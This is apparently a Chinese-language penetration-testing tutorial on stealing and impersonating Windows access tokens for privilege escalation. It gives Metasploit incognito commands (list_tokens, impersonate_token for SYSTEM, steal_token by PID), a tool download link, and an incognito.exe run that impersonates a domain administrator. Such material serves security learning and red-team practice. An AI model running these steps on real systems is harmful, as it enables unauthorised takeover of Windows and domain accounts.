一: 令牌(Tokens)包括登录会话的安全信息,例如身份识别,用户组,用户权限,每次当一个用户登录Windows系统时,都会产生一个令牌。当用户登录时,系统通过将用户密码与安全数据库中存储的信息进行比较来验证用户密码。如果密码通过身份验证,则系统将生成访问令牌。该用户执行的每个进程都有此访问令牌的副本

Session————对应每个账户登录都会有不同的session,这里对应的是账户
Tokens————对于每个进程(资源)都会有相对应的Token进行身份验证,这里对应的是资源
Delegation Token——交互登录会话———直接进行登录的会话系统给与的Token
Impresonation Token 非交互登录会话———共享资源,或是账户已注销的窗口系统给与的Toekn,或是net use

Incognito————一款用户窃取令牌的工具,集成在MSF下
incognito.exe工具下载地址
https://labs.f-secure.com/assets/BlogFiles/incognito2.zip

在登录到一个系统上,程序在运行的过程会有不同账户所运行的用户权限
image.png
或者登录一台机器本地账户发现机器运行如下域用户进行
image.png
此时我们可以有一种思路,常规的提权或权限获取方法不可行,而目标主机上又同时运行着这么多服务,或许可以利用窃取(模拟)令牌来进行提权。

1、MSF窃取令牌操作进行提权的过程(直接列出):

假冒令牌指的就是使用需要特定权限用户的令牌进行原本不想运行的工作。
以下为MSF中的命令,实际情况下,我们不用MSF来进行一些操作也可以,我们使用单独的可执行文件

use incognito #使用此工具插件 list_tokens -u #查看可用的token impersonate_token ‘NT AUTHORITY\SYSTEM’ #假冒SYSTEM token ,记住引号 getuid #再次查看自己的权限 execute -f cmd.exe -i –t # -t 使用假冒的token 执行

列出当前主机下的存在token的现有账户
incognito.exe list_tokens -u
image.png
提示说当前权限不是system,因此不能是所有的token都能用
image.png

但是我重启了一下电脑,发现此次成功了,成功模拟了域管理员的权限,还是比较玄学的
incognito.exe execute -c “ice\administrator” “cmd.exe”
image.png

此外Invoke-TokenManipulation.ps1也具备此功能
image.png

2、MSF窃取令牌操作进行提权的过程(通过PID):

  1. steal_token PID 即可使用窃取<br /> 例如steal_token 5368 可以使用msf来进行操作<br />不再赘述。

参考资料
https://www.cnblogs.com/backlion/p/13802787.html
https://blog.csdn.net/qq_45521281/article/details/105941102
https://www.cnblogs.com/yicunyiye/p/13926943.html
https://www.freebuf.com/articles/web/259256.html
https://blog.csdn.net/zzlx123/article/details/104789819